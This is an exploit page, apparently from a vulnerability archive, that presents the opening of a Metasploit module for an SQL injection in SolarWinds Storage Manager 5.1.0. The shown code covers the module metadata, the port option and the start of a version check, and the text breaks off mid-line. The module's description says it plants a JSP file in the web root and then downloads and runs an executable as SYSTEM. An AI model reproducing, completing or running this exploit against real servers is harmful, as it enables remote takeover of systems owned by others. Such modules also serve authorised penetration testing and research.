Solarwinds_Storage_Manager_5.1.0_SQL注入漏洞

# Solarwinds Storage Manager 5.1.0 SQL注入漏洞
==EXP==

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::TcpServer
 include Msf::Exploit::EXE

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Solarwinds Storage Manager 5.1.0 SQL Injection",
   'Description'    => %q{
     This module exploits a SQL injection found in Solarwinds Storage Manager
    login interface.  It will send a malicious SQL query to create a JSP file
    under the web root directory, and then let it download and execute our malicious
    executable under the context of SYSTEM.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'r@b13$', # Original discovery by Digital Defense VRT
     'muts',   # PoC
     'sinn3r'  # Metasploit
    ],
   'References'     =>
    [
     ['EDB', '18818'],
     ['URL', 'http://ddilabs.blogspot.com/2012/02/solarwinds-storage-manager-server-sql.html'],
     ['URL', 'http://www.solarwinds.com/documentation/storage/storagemanager/docs/ReleaseNotes/vulnerability.htm']
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00",
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "none"
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Win XP / 2003 / Vista / Win 7 / etc
     ['Windows Universal', {}]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Dec 7 2011",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('RPORT', [true, 'The target port', 9000])
   ], self.class)
 end


 #
 # A very gentle check to see if Solarwinds Storage Manage exists or not
 #
 def check
  res = send_request_raw({
   'method' => 'GET',
   'uri'    => '/LoginServlet'
  })

  if res and res.body =~ /\